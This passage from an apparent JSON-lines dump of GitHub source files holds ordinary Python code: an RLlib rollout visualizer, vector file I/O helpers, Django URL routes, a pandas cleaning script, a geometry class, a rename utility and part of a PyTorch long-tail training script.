self._update_file.flush()\n\n def append_step(self, obs, action, next_obs, reward, done, info):\n \"\"\"Add a step to the current rollout, if we are saving them\"\"\"\n if self._outfile:\n if self._save_info:\n self._current_rollout.append([obs, action, next_obs, reward, done, info])\n else:\n self._current_rollout.append([obs, action, next_obs, reward, done])\n self._total_steps += 1\n\n\ndef create_parser(parser_creator=None):\n parser_creator = parser_creator or argparse.ArgumentParser\n parser = parser_creator(\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=\"Roll out a reinforcement learning agent \" \"given a checkpoint.\",\n epilog=EXAMPLE_USAGE,\n )\n\n parser.add_argument(\"checkpoint\", type=str, help=\"Checkpoint from which to roll out.\")\n required_named = parser.add_argument_group(\"required named arguments\")\n required_named.add_argument(\n \"--run\",\n type=str,\n required=True,\n help=\"The algorithm or model to train. This may refer to the name \"\n \"of a built-on algorithm (e.g. RLLib's DQN or PPO), or a \"\n \"user-defined trainable function or class registered in the \"\n \"tune registry.\",\n )\n required_named.add_argument(\"--env\", type=str, help=\"The gym environment to use.\")\n parser.add_argument(\n \"--no-render\",\n default=False,\n action=\"store_const\",\n const=True,\n help=\"Suppress rendering of the environment.\",\n )\n parser.add_argument(\n \"--monitor\",\n default=False,\n action=\"store_true\",\n help=\"Wrap environment in gym Monitor to record video. NOTE: This \"\n \"option is deprecated: Use `--video-dir [some dir]` instead.\",\n )\n parser.add_argument(\n \"--video-dir\",\n type=str,\n default=None,\n help=\"Specifies the directory into which videos of all episode \" \"rollouts will be stored.\",\n )\n parser.add_argument(\n \"--video-filename\",\n type=str,\n default=None,\n help=\"Specifies the filename that the video will be saved under.\",\n )\n parser.add_argument(\n \"--steps\", default=1000, help=\"Number of timesteps to roll out (overwritten by --episodes).\"\n )\n parser.add_argument(\n \"--episodes\", default=0, help=\"Number of complete episodes to roll out (overrides --steps).\"\n )\n parser.add_argument(\"--out\", default=None, help=\"Output filename.\")\n parser.add_argument(\n \"--config\",\n default=\"{}\",\n type=json.loads,\n help=\"Algorithm-specific configuration (e.g. env, hyperparams). \"\n \"Gets merged with loaded configuration from checkpoint file and \"\n \"`evaluation_config` settings therein.\",\n )\n parser.add_argument(\n \"--save-info\",\n default=False,\n action=\"store_true\",\n help=\"Save the info field generated by the step() method, \"\n \"as well as the action, observations, rewards and done fields.\",\n )\n parser.add_argument(\n \"--use-shelve\",\n default=False,\n action=\"store_true\",\n help=\"Save rollouts into a python shelf file (will save each episode \"\n \"as it is generated). An output filename must be set using --out.\",\n )\n parser.add_argument(\n \"--track-progress\",\n default=False,\n action=\"store_true\",\n help=\"Write progress to a temporary file (updated \"\n \"after each episode). An output filename must be set using --out; \"\n \"the progress file will live in the same folder.\",\n )\n return parser\n\n\ndef run(args, parser):\n config = {}\n # Load configuration from checkpoint file.\n config_dir = os.path.dirname(args.checkpoint)\n config_path = os.path.join(config_dir, \"params.pkl\")\n # Try parent directory.\n if not os.path.exists(config_path):\n config_path = os.path.join(config_dir, \"../params.pkl\")\n\n # If no pkl file found, require command line `--config`.\n if not os.path.exists(config_path):\n if not args.config:\n raise ValueError(\n \"Could not find params.pkl in either the checkpoint dir or \"\n \"its parent directory AND no config given on command line!\"\n )\n\n # Load the config from pickled.\n else:\n with open(config_path, \"rb\") as f:\n config = pickle.load(f)\n\n # Set num_workers to be at least 2.\n if \"num_workers\" in config:\n config[\"num_workers\"] = min(2, config[\"num_workers\"])\n\n # Merge with `evaluation_config`.\n evaluation_config = copy.deepcopy(config.get(\"evaluation_config\", {}))\n config = merge_dicts(config, evaluation_config)\n # Merge with command line `--config` settings.\n config = merge_dicts(config, args.config)\n if not args.env:\n if not config.get(\"env\"):\n parser.error(\"the following arguments are required: --env\")\n args.env = config.get(\"env\")\n\n ray.init()\n\n ModelCatalog.register_custom_model(\"baseline_lstm\", BaselineModel)\n ModelCatalog.register_custom_model(\"moa_lstm\", MOAModel)\n ModelCatalog.register_custom_model(\"scm_lstm\", SocialCuriosityModule)\n\n env_creator = config[\"env_config\"][\"func_create\"]\n register_env(args.env, env_creator)\n\n # Create the Trainer from config.\n cls = get_trainable_cls(args.run)\n agent = cls(env=args.env, config=config)\n # Load state from checkpoint.\n agent.restore(args.checkpoint)\n num_steps = int(args.steps)\n num_episodes = int(args.episodes)\n\n # Determine the video output directory.\n # Deprecated way: Use (--out|~/ray_results) + \"/monitor\" as dir.\n video_dir = None\n if args.monitor:\n video_dir = os.path.join(\n os.path.dirname(args.out or \"\") or os.path.expanduser(\"~/ray_results/\"), \"monitor\"\n )\n # New way: Allow user to specify a video output path.\n elif args.video_dir:\n video_dir = os.path.expanduser(args.video_dir)\n video_name = args.video_filename\n\n # Do the actual rollout.\n with RolloutSaver(\n args.out,\n args.use_shelve,\n write_update_file=args.track_progress,\n target_steps=num_steps,\n target_episodes=num_episodes,\n save_info=args.save_info,\n ) as saver:\n rollout(\n agent, args.env, num_steps, num_episodes, saver, args.no_render, video_dir, video_name\n )\n\n\nclass DefaultMapping(collections.defaultdict):\n \"\"\"default_factory now takes as an argument the missing key.\"\"\"\n\n def __missing__(self, key):\n self[key] = value = self.default_factory(key)\n return value\n\n\ndef default_policy_agent_mapping(unused_agent_id):\n return DEFAULT_POLICY_ID\n\n\ndef keep_going(steps, num_steps, episodes, num_episodes):\n \"\"\"Determine whether we've collected enough data\"\"\"\n # if num_episodes is set, this overrides num_steps\n if num_episodes:\n return episodes < num_episodes\n # if num_steps is set, continue until we reach the limit\n if num_steps:\n return steps < num_steps\n # otherwise keep going forever\n return True\n\n\ndef rollout(\n agent,\n env_name,\n num_steps,\n num_episodes=0,\n saver=None,\n no_render=True,\n video_dir=None,\n video_name=None,\n):\n policy_agent_mapping = default_policy_agent_mapping\n\n if saver is None:\n saver = RolloutSaver()\n\n if hasattr(agent, \"workers\") and isinstance(agent.workers, WorkerSet):\n env = agent.workers.local_worker().env\n multiagent = isinstance(env, MultiAgentEnv)\n if agent.workers.local_worker().multiagent:\n policy_agent_mapping = agent.config[\"multiagent\"][\"policy_mapping_fn\"]\n\n policy_map = agent.workers.local_worker().policy_map\n state_init = {p: m.get_initial_state() for p, m in policy_map.items()}\n use_lstm = {p: len(s) > 0 for p, s in state_init.items()}\n else:\n env = gym.make(env_name)\n multiagent = False\n try:\n policy_map = {DEFAULT_POLICY_ID: agent.policy}\n except AttributeError:\n raise AttributeError(\n \"Agent ({}) does not have a `policy` property! This is needed \"\n \"for performing (trained) agent rollouts.\".format(agent)\n )\n use_lstm = {DEFAULT_POLICY_ID: False}\n\n action_init = {\n p: flatten_to_single_ndarray(m.action_space.sample()) for p, m in policy_map.items()\n }\n\n # If rendering, create an array to store observations\n if video_dir:\n shape = env.base_map.shape\n total_num_steps = max(num_steps, num_episodes * agent.config[\"horizon\"])\n all_obs = [np.zeros((shape[0], shape[1], 3), dtype=np.uint8) for _ in range(total_num_steps)]\n\n steps = 0\n episodes = 0\n while keep_going(steps, num_steps, episodes, num_episodes):\n mapping_cache = {} # in case policy_agent_mapping is stochastic\n saver.begin_rollout()\n obs = env.reset()\n agent_states = DefaultMapping(lambda agent_id: state_init[mapping_cache[agent_id]])\n prev_actions = DefaultMapping(lambda agent_id: action_init[mapping_cache[agent_id]])\n prev_rewards = collections.defaultdict(lambda: 0.0)\n done = False\n reward_total = 0.0\n while not done and keep_going(steps, num_steps, episodes, num_episodes):\n multi_obs = obs if multiagent else {_DUMMY_AGENT_ID: obs}\n action_dict = {}\n for agent_id, a_obs in multi_obs.items():\n if a_obs is not None:\n policy_id = mapping_cache.setdefault(agent_id, policy_agent_mapping(agent_id))\n p_use_lstm = use_lstm[policy_id]\n if p_use_lstm:\n a_action, p_state, _ = agent.compute_action(\n a_obs,\n state=agent_states[agent_id],\n prev_action=prev_actions[agent_id],\n prev_reward=prev_rewards[agent_id],\n policy_id=policy_id,\n )\n agent_states[agent_id] = p_state\n else:\n a_action = agent.compute_action(\n a_obs,\n prev_action=prev_actions[agent_id],\n prev_reward=prev_rewards[agent_id],\n policy_id=policy_id,\n )\n a_action = flatten_to_single_ndarray(a_action)\n action_dict[agent_id] = a_action\n prev_actions[agent_id] = a_action\n action = action_dict\n\n action = action if multiagent else action[_DUMMY_AGENT_ID]\n next_obs, reward, done, info = env.step(action)\n if multiagent:\n for agent_id, r in reward.items():\n prev_rewards[agent_id] = r\n else:\n prev_rewards[_DUMMY_AGENT_ID] = reward\n\n if multiagent:\n done = done[\"__all__\"]\n reward_total += sum(reward.values())\n else:\n reward_total += reward\n if not no_render:\n rgb_arr = env.full_map_to_colors()\n all_obs[steps] = rgb_arr.astype(np.uint8)\n saver.append_step(obs, action, next_obs, reward, done, info)\n steps += 1\n obs = next_obs\n saver.end_rollout()\n print(\"Episode #{}: reward: {}\".format(episodes, reward_total))\n if done:\n episodes += 1\n\n # Render video from observations\n if video_dir:\n if not os.path.exists(video_dir):\n os.makedirs(video_dir)\n images_path = video_dir + \"/images/\"\n if not os.path.exists(images_path):\n os.makedirs(images_path)\n height, width, _ = all_obs[0].shape\n # Upscale to be more legible\n width *= 20\n height *= 20\n utility_funcs.make_video_from_rgb_imgs(\n all_obs, video_dir, video_name=video_name, resize=(width, height)\n )\n\n # Clean up images\n shutil.rmtree(images_path)\n\n\nif __name__ == \"__main__\":\n parser = create_parser()\n args = parser.parse_args()\n\n # Old option: monitor, use video-dir instead.\n if args.monitor:\n deprecation_warning(\"--monitor\", \"--video-dir=[some dir]\")\n # User tries to record videos, but no-render is set: Error.\n if (args.monitor or args.video_dir) and args.no_render:\n raise ValueError(\n \"You have --no-render set, but are trying to record rollout videos\"\n \" (via options --video-dir/--monitor)! \"\n \"Either unset --no-render or do not use --video-dir/--monitor.\"\n )\n # --use_shelve w/o --out option.\n if args.use_shelve and not args.out:\n raise ValueError(\n \"If you set --use-shelve, you must provide an output file via \" \"--out as well!\"\n )\n # --track-progress w/o --out option.\n if args.track_progress and not args.out:\n raise ValueError(\n \"If you set --track-progress, you must provide an output file via \" \"--out as well!\"\n )\n\n run(args, parser)\n","repo_name":"eugenevinitsky/sequential_social_dilemma_games","sub_path":"visualization/visualizer_rllib.py","file_name":"visualizer_rllib.py","file_ext":"py","file_size_in_byte":18898,"program_lang":"python","lang":"en","doc_type":"code","stars":354,"dataset":"github-code","pt":"35"} +{"seq_id":"38684557124","text":"# -*- coding: utf8 -*-\n\nimport numpy as np\nimport ynumpy as ynp\n\nimport struct\nimport os\nimport os.path\n\n_FVECS_LINE_HEADER_BYTES = 4\n\n\ndef _xvecs_read_header(filename, dtype, light=False):\n if light:\n return _xvecs_light_read_header(filename)\n\n with open(filename, 'rb') as f:\n num_dimensions_raw = f.read(_FVECS_LINE_HEADER_BYTES)\n num_dimensions = struct.unpack('i', num_dimensions_raw)[0]\n\n filesize = os.path.getsize(filename)\n line_bytes = _FVECS_LINE_HEADER_BYTES \\\n + num_dimensions * dtype().itemsize\n num_vectors = int(filesize / line_bytes)\n assert num_vectors * line_bytes == filesize\n\n return num_vectors, num_dimensions\n\n\ndef _xvecs_read(filename, dtype, sub_dim=None, sub_start=0, limit=None,\n batch_size=10000):\n assert not (sub_dim is None and sub_start > 0)\n\n if sub_dim is None:\n return fvecs_read(filename, limit=limit, dtype=dtype)\n\n num_vectors, num_dimensions = _xvecs_read_header(\n filename, dtype, light=False)\n line_bytes = _FVECS_LINE_HEADER_BYTES \\\n + num_dimensions * dtype().itemsize\n assert sub_start >= 0\n assert sub_start + sub_dim <= num_dimensions\n\n output = np.zeros((num_vectors, sub_dim), dtype=dtype)\n\n start_index = 0\n num_elements_per_header = int(4 / dtype().itemsize)\n assert num_elements_per_header > 0\n sub_start += num_elements_per_header\n sub_end = sub_start + sub_dim\n with open(filename, 'rb') as f:\n while limit is None or start_index < limit:\n batch_raw = f.read(line_bytes * batch_size)\n if not len(batch_raw):\n break\n\n batch = np.frombuffer(batch_raw, dtype=dtype) \\\n .reshape(-1, num_dimensions + num_elements_per_header)\n output[start_index : start_index + batch.shape[0]] = \\\n batch[:, sub_start : sub_end]\n\n start_index += batch.shape[0]\n if batch.shape[0] < batch_size:\n break\n\n if limit is None:\n assert start_index == num_vectors\n else:\n assert start_index == limit\n\n return output\n\n\nXVECS_LIGHT_HEADER_SIZE = 4 * 2\n\n\ndef _xvecs_light_read_header(filename):\n with open(filename + 'l', 'rb') as f:\n header_raw = f.read(XVECS_LIGHT_HEADER_SIZE)\n return struct.unpack('ii', header_raw)\n\n\ndef _xvecs_light_read(filename, dtype, limit=None):\n num_vectors, num_dimensions = _xvecs_light_read_header(filename)\n with open(filename + 'l', 'rb') as f:\n f.read(XVECS_LIGHT_HEADER_SIZE)\n result = np.fromfile(f, dtype=dtype, count=_limit_to_nmax(limit))\n return result.reshape(num_vectors, num_dimensions)\n\n\ndef _xvecs_light_write(filename, matrix):\n if matrix.ndim == 1:\n matrix = matrix.reshape(-1, 1)\n\n\n with open(filename + 'l', 'wb') as f:\n f.write(struct.pack('ii', *matrix.shape))\n matrix.tofile(f)\n\n\ndef _limit_to_nmax(limit):\n return limit if limit is not None else -1\n\n\ndef fvecs_read(filename, sub_dim=None, sub_start=0,\n dtype=np.float32, limit=None, batch_size=10000, light=False):\n if light:\n assert sub_dim is None\n assert sub_start == 0\n\n return _xvecs_light_read(filename, dtype=np.float32, limit=limit) \\\n .astype(dtype)\n\n if sub_dim is None and sub_start == 0:\n return ynp.fvecs_read(filename, nmax=_limit_to_nmax(limit)) \\\n .astype(dtype)\n\n return _xvecs_read(filename, np.float32, sub_dim, sub_start, limit,\n batch_size=batch_size).astype(dtype)\n\n\ndef fvecs_read_header(filename, light=False):\n return _xvecs_read_header(filename, np.float32, light=light)\n\n\ndef fvecs_write(filename, matrix, light=False):\n if light:\n _xvecs_light_write(filename, matrix.astype(np.float32))\n else:\n ynp.fvecs_write(filename, matrix)\n\n\ndef ivecs_read_header(filename):\n return _xvecs_read_header(filename, np.int32)\n\n\ndef ivecs_read(filename, sub_dim=None, sub_start=0, dtype=np.int32,\n limit=None, batch_size=10000, light=False):\n if light:\n assert sub_dim is None\n assert sub_start == 0\n\n return _xvecs_light_read(filename, dtype=np.int32, limit=limit) \\\n .astype(dtype)\n\n if sub_dim is None and sub_start == 0:\n return ynp.ivecs_read(filename, nmax=_limit_to_nmax(limit)) \\\n .astype(dtype)\n\n return _xvecs_read(filename, np.int32, sub_dim, sub_start, limit,\n batch_size=batch_size).astype(dtype)\n\n\ndef lvecs_read_header(filename):\n return _xvecs_read_header(filename, np.int64)\n\n\ndef lvecs_read(filename, sub_dim=None, sub_start=0, dtype=np.int64,\n limit=None, batch_size=10000, light=False):\n if light:\n assert sub_dim is None\n assert sub_start == 0\n\n return _xvecs_light_read(filename, dtype=np.int64, limit=limit) \\\n .astype(dtype)\n\n if sub_dim is None and sub_start == 0:\n return ynp.ivecs_read(filename, nmax=_limit_to_nmax(limit)) \\\n .astype(dtype)\n\n return _xvecs_read(filename, np.int64, sub_dim, sub_start, limit,\n batch_size=batch_size).astype(dtype)\n\n\ndef ivecs_write(filename, matrix, light=False):\n if light:\n _xvecs_light_write(filename, matrix.astype(np.int32))\n return\n\n # TODO: bunchs write\n matrix_ = np.zeros((matrix.shape[0], matrix.shape[1] + 1), dtype=np.int32)\n matrix_[:0] = matrix.shape[1]\n matrix_[:, 1:] = matrix\n matrix_.tofile(filename)\n\n\ndef bvecs_read(filename, sub_dim=None, sub_start=0, dtype=np.uint8,\n light=False, limit=None, batch_size=10000):\n if light:\n assert sub_dim is None\n assert sub_start == 0\n\n return _xvecs_light_read(filename, dtype=np.uint8, limit=limit) \\\n .astype(dtype)\n\n if sub_dim is None and sub_start == 0:\n return ynp.bvecs_read(filename, nmax=_limit_to_nmax(limit)) \\\n .astype(dtype)\n\n return _xvecs_read(filename, np.uint8, sub_dim, sub_start, limit,\n batch_size=batch_size)\n\n\ndef bvecs_write(filename, array, light=True):\n if light or array.ndim == 1:\n _xvecs_light_write(filename, array.astype(np.uint8))\n return\n\n assert 1 <= array.ndim <= 2\n ynp.bvecs_write(filename, array.reshape(array.shape[0], -1))\n\n\ndef mkdirs(filepath):\n dirpath, _ = os.path.split(filepath)\n if not os.path.isdir(dirpath):\n os.makedirs(dirpath)\n","repo_name":"trukanduk/pq_huffman","sub_path":"src/utils/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":6522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"9713453608","text":"from django.urls import path\r\nfrom .views import (\r\n home,\r\n book_add,\r\n book_detail,\r\n book_edit,\r\n book_delete,\r\n payment_method,\r\n book_migrate,\r\n contact_form,\r\n privacy_policy,\r\n thanks\r\n\r\n)\r\n\r\nurlpatterns = [\r\n path('', home, name='home'),\r\n path('add', book_add, name='book_add'),\r\n path('contact_form', contact_form, name='contact_form'),\r\n path('privacy_policy', privacy_policy, name='privacy_policy'),\r\n path('thanks', thanks, name='thanks'),\r\n path('book_migrate', book_migrate, name='book_migrate'),\r\n path('payment_method', payment_method, name='payment_method'),\r\n path('book//', book_detail, name='book_detail'),\r\n path('book//edit', book_edit, name='book_edit'),\r\n path('book//delete', book_delete, name='book_delete'),\r\n]\r\n","repo_name":"Rudyk-Iurii/dimasbookshop","sub_path":"Books/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":812,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"7478797945","text":"from django.urls import path\nfrom nurseApp.views import *\n\nurlpatterns = [\n path('', index, name='index'),\n path('add_patient/', add_patient, name='add_patient'),\n path('view_patients/', view_patients, name='view_patients'),\n path('patient//', edit_patient_profile),\n path('history//', view_historical_data),\n\n # urls for Datatable/Graphs get functions\n path('get_patients_datatable/', get_patients_datatable, name='get_patients_datatable'),\n path('get_patient_historical_data/', get_patient_historical_data, name='get_patient_historical_data'),\n\n # urls for other functions\n path('add_vital_signs/', add_vital_signs, name='add_vital_signs'),\n path('delete_vital_signs_record/', delete_vital_signs_record, name='delete_vital_signs_record'),\n path('change_patient_status/', change_patient_status, name='change_patient_status'),\n path('delete_patient_profile/', delete_patient_profile, name='delete_patient_profile'),\n]\n","repo_name":"JorgeDom/SoftNatura_NurseApp","sub_path":"nurseApp/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":989,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"24208459399","text":"import pandas as pd\nimport numpy as np\n\ndf = pd.read_csv(\"docs/data/HerdImmunity2.csv\")\nranges = [str(col) + str((df[col].min(), df[col].max())) for col in df.columns]\nprint(ranges)\nexists = df.loc[(df['natImmunity']== 0.1) & (df['vacImmunity']== 1.0)& (df['vaccinated']== 1.0) & (df['Rrange']== 0.0) & (df['Rnull']== 1.0)]\nprint(exists)\n\nREADME = \"This is a workbench to clean data when need easy access to the CSV's \"\n\nDF = pd.read_csv(\"API_NY.GDP.PCAP.CD_DS2_en_csv_v2_1678517.csv\")\nDF['Country'] = DF['Country Name'].astype(str)\nyears = [str(i) for i in range(1980, 2019)]\nnewIndexCountries = []\nnewIndexYears = []\nfor country in DF['Country']:\n for year in years:\n newIndexCountries.append(country)\n newIndexYears.append(year)\n\ndf2 = pd.DataFrame()\ndf2['Country'] = newIndexCountries\ndf2['Year'] = newIndexYears\nvalues = []\nfor i in range(len(df2)):\n curCountry = df2.iloc[i][\"Country\"]\n curYear = df2.iloc[i][\"Year\"]\n row = DF.loc[DF['Country'] == curCountry]\n if len(row) != 0:\n value = row[curYear]\n values.append(value.values[0])\n else:\n values.append(None)\ndf2['GDPCapita'] = values\n\nDF = pd.read_csv(\"Vaccines_Merged(3).csv\")\nDF = DF.drop(\"Unnamed: 0\", axis=1)\ncapita = []\nfor i in range(len(DF)):\n row = DF.iloc[i]\n country = row['Country']\n year = str(row['Year']).strip()\n under5Val = df2.loc[(df2[\"Country\"] == country) & (df2['Year'] == year)]\n if len(under5Val) != 0:\n value = under5Val['GDPCapita']\n capita.append(value.values[0])\n else:\n capita.append(None)\n\nDF['GDPCapita'] = capita\n\n#avgVaccines = []\n#for i in range(len(DF)):\n# row = DF.iloc[i]\n# avg = round(np.nanmean(list(row[3: -1])), 2)\n# avgVaccines.append(avg)\n#DF['AVGVaccinePercent'] = avgVaccines\nDF.to_csv(\"Vaccines_Merged(4).csv\", index=False)\n\n\nprint(\"DONE\")","repo_name":"Swagaholik/Anti-Vaccination-in-Politics-Data-Visualization","sub_path":"DataWorkbench.py","file_name":"DataWorkbench.py","file_ext":"py","file_size_in_byte":1844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"41298139597","text":"\"\"\"\nЗадача 2. Математический модуль\nЧто нужно сделать\nВася использует в своей программе очень много различных математических вычислений, связанных с фигурами.\nНапример, нахождение их площадей или периметров. Поэтому, чтобы не захламлять код огромным количеством функций,\nон решил выделить для них отдельный класс, подключить как модуль и использовать по аналогии с модулем math.\n\nРеализуйте класс MyMath, состоящий как минимум из следующих методов (можете бонусом добавить и другие методы):\n\nвычисление длины окружности,\nвычисление площади окружности,\nвычисление объёма куба,\nвычисление площади поверхности сферы.\nПример основного кода:\n\nres_1 = MyMath.circle_len(radius=5)\nres_2 = MyMath.circle_sq(radius=6)\nprint(res_1)\nprint(res_2)\n\n\nРезультат:\n\n31.41592653589793\n\n113.09733552923255\n\"\"\"\n\nimport math\nfrom abc import ABC, abstractmethod\n\nclass MyMath(ABC):\n \"\"\" Формулы расчета\"\"\"\n\n def circle_len(radius: int) -> float:\n \"\"\"\n Расчет длинны окружности\n на ввод радиус\n :return: result\n \"\"\"\n result = 2 * math.pi * radius\n return result\n\n def circle_sq(radius: int) -> float:\n \"\"\"\n Расчет площади окружности\n на ввод радиус\n :return: result\n \"\"\"\n result = math.pi * radius ** 2\n return result\n\n def cube_volume( volume: int) -> float:\n \"\"\"\n Расчет объема куба\n на ввод длинна стороны\n :return: result\n \"\"\"\n result = volume ** 3\n return result\n\n def surface_sphere(radius: int) -> float:\n \"\"\"\n Расчет площади поверхности сферы\n на ввод радиус\n :return: result\n \"\"\"\n result = 4 * math.pi * radius ** 2\n return result\n\n def ball_volume(radius: int) -> float:\n \"\"\"\n Расчет объема шара\n на ввод радиус\n :return: result\n \"\"\"\n result = 4 / 3 * math.pi * radius ** 3\n return result\n\nresult_1 = MyMath.circle_len(radius = 5)\nresult_2 = MyMath.circle_sq(radius = 6)\nresult_3 = MyMath.cube_volume(volume = 9)\nresult_4 = MyMath.surface_sphere(radius = 5)\nresult_5 = MyMath.ball_volume(radius = 5)\n\nprint('Длинна окружности: {}'.format(result_1))\nprint('Площадь окружности: {}'.format(result_2))\nprint('Объем куба: {}'.format(result_3))\nprint('Площадь поверхности сферы: {}'.format(result_4))\nprint('Объем шара: {}'.format(result_5))\n\n\n","repo_name":"ZinovkinIgor/-Skillbox","sub_path":"Модуль 28/Домашнее задание/task 2.py","file_name":"task 2.py","file_ext":"py","file_size_in_byte":3178,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"36545022671","text":"#!/usr/bin/python3\n# -*- coding:utf-8 -*-\nimport os\nimport shutil\nimport argparse\nfrom tqdm import tqdm\n\n\ndef rename_anno_file(path):\n for root, dirs, files in os.walk(path, followlinks=True):\n for file in tqdm(files):\n if not file.endswith('.xml'):\n prefix, ext = os.path.splitext(file)\n anno_file = os.path.join(root, file)\n xml_file = os.path.join(root, prefix + '.xml')\n shutil.move(anno_file, xml_file)\n\n\ndef main(agrs):\n rename_anno_file(agrs.xml_dir)\n pass\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser('rename files to xml in batches.')\n parser.add_argument('-x',\n '--xml-dir',\n type=str,\n help='path to xml file dir.')\n args = parser.parse_args()\n main(args)\n","repo_name":"wangvation/torch-mobilenet","sub_path":"script/file_rename.py","file_name":"file_rename.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"35"} +{"seq_id":"2148162139","text":"import argparse\nimport os\nimport sys\nimport yaml\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nimport math\nimport numpy as np\n\nimport torch\n\nfrom utils.metrics import print_num_params\n\nfrom core.trainer import train_epoch, eval_epoch\nfrom core.utils import loss_adjust_cross_entropy, cross_entropy,loss_adjust_cross_entropy_cdt\nfrom core.utils import get_init_dy, get_init_ly, get_train_w, get_val_w\n\nfrom dataset.ImageNet_LT import ImageNetLTDataLoader\nfrom dataset.cifar10 import load_cifar10\nfrom dataset.iNaturalist import INAT\nfrom dataset.cifar100 import load_cifar100\n\nimport torchvision.models as models\nfrom models.ResNet import ResNet32\n\nimport torch.optim as optim\nimport torch.nn as nn\nfrom torch.utils.data import DataLoader\nassert torch.cuda.is_available()\nassert torch.backends.cudnn.enabled\n\n\ntorch.backends.cudnn.benchmark = True\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--config', dest='config',\n default=\"configs/config.yaml\", type=str)\nargs = parser.parse_args()\nwith open(args.config, mode='r') as f:\n args = yaml.load(f, Loader=yaml.FullLoader)\ndevice = args[\"device\"]\ndataset = args[\"dataset\"]\nif dataset == 'Cifar10':\n num_classes = 10\n model = ResNet32(num_classes=num_classes)\n # if torch.cuda.device_count()>1:\n # model = nn.DataParallel(model, device_ids=[0, 1])\n train_loader, val_loader, test_loader, eval_train_loader, eval_val_loader, num_train_samples, num_val_samples = load_cifar10(\n train_size=args[\"train_size\"], val_size=args[\"val_size\"],\n balance_val=args[\"balance_val\"], batch_size=args[\"low_batch_size\"],\n train_rho=args[\"train_rho\"],\n image_size=32, path=args[\"datapath\"])\nelif dataset == 'Cifar100':\n num_classes = 100\n model = ResNet32(num_classes=num_classes)\n # if torch.cuda.device_count()>1:\n # model = nn.DataParallel(model, device_ids=[0, 1])\n train_loader, val_loader, test_loader, eval_train_loader, eval_val_loader, num_train_samples, num_val_samples = load_cifar100(\n train_size=args[\"train_size\"], val_size=args[\"val_size\"],\n balance_val=args[\"balance_val\"], batch_size=args[\"low_batch_size\"],\n train_rho=args[\"train_rho\"],\n image_size=32, path=args[\"datapath\"])\nelif dataset == 'ImageNet':\n num_classes = 1000\n model = models.resnet50(pretrained=False, num_classes=num_classes)\n model = nn.DataParallel(model, device_ids=[0, 1])\n\n train_loader = ImageNetLTDataLoader(\n args[\"datapath\"],\n training=True, batch_size=args[\"low_batch_size\"])\n val_loader = train_loader.split_validation()\n test_loader = ImageNetLTDataLoader(\n args[\"datapath\"],\n training=False, batch_size=args[\"low_batch_size\"])\n\n num_train_samples, num_val_samples = train_loader.get_train_val_size()\n eval_train_loader = ImageNetLTDataLoader(\n args[\"datapath\"],\n training=True, batch_size=512)\n eval_val_loader = eval_train_loader.split_validation()\n\nelif dataset == 'INAT':\n num_classes = 8142\n model = models.resnet50(pretrained=False, num_classes=num_classes)\n model = nn.DataParallel(model, device_ids=[0, 1])\n train_loader = INAT('/home/eeres/mili/data/inat_2018/', '/home/eeres/mili/data/inat_2018/train2018.json',\n is_train=True, split=1)\n num_train_samples = train_loader.get_class_size()\n train_loader = DataLoader(train_loader, batch_size=args[\"low_batch_size\"],num_workers=6)\n val_loader = INAT('/home/eeres/mili/data/inat_2018/', '/home/eeres/mili/data/inat_2018/train2018.json',\n is_train=True, split=2)\n num_val_samples = val_loader.get_class_size()\n val_loader = DataLoader(val_loader, batch_size=args[\"low_batch_size\"],num_workers=6)\n\n test_loader = INAT('/home/eeres/mili/data/inat_2018/', '/home/eeres/mili/data/inat_2018/val2018.json',\n is_train=False, split=0)\n test_loader.get_class_size()\n test_loader= DataLoader(test_loader,batch_size=512,num_workers=6)\n\n eval_train_loader = INAT('/home/eeres/mili/data/inat_2018/', '/home/eeres/mili/data/inat_2018/train2018.json',\n is_train=False, split=1)\n eval_train_loader = DataLoader(eval_train_loader, batch_size=512,num_workers=6)\n eval_val_loader = INAT('/home/eeres/mili/data/inat_2018/', '/home/eeres/mili/data/inat_2018/train2018.json',\n is_train=False, split=2)\n eval_val_loader = DataLoader(eval_val_loader, batch_size=512,num_workers=6)\n\nargs[\"num_classes\"] = num_classes\n\nprint_num_params(model)\n\nif args[\"checkpoint\"] != 0:\n model = torch.load(f'{args[\"save_path\"]}/epoch_{args.checkpoint}.pth')\n # model.load_state_dict(torch.load(f'{args[\"save_path\"]}/epoch_{args.checkpoint}.pth'))\nmodel = model.to(device)\n\ncriterion = nn.CrossEntropyLoss()\n\ndy = get_init_dy(args, num_train_samples)\nly = get_init_ly(args, num_train_samples)\nw_train = get_train_w(args, num_train_samples)\nw_val = get_val_w(args, num_val_samples)\n\nprint(f\"w_train: {w_train}\\nw_val: {w_val}\")\nprint('ly', ly, '\\n dy', dy)\n\nprint(\"train data size\",len(train_loader.dataset),len(train_loader))\n\nif dataset == 'Cifar10' or dataset == 'Cifar100':\n up_start_epoch=args[\"up_configs\"][\"start_epoch\"]\n if \"low_lr_multiplier\" in args:\n def warm_up_with_multistep_lr_low(epoch): return (epoch+1) / args[\"low_lr_warmup\"] \\\n if epoch < args[\"low_lr_warmup\"] \\\n else args[\"low_lr_multiplier\"][len([m for m in args[\"low_lr_schedule\"] if m <= epoch])]\n else:\n def warm_up_with_multistep_lr_low(epoch): return (epoch+1) / args[\"low_lr_warmup\"] \\\n if epoch < args[\"low_lr_warmup\"] \\\n else 0.1**len([m for m in args[\"low_lr_schedule\"] if m <= epoch])\n\n def warm_up_with_multistep_lr_up(epoch): return (epoch-up_start_epoch+1) / args[\"up_lr_warmup\"] \\\n if epoch-up_start_epoch < args[\"up_lr_warmup\"] \\\n else 0.1**len([m for m in args[\"up_lr_schedule\"] if m <= epoch])\n 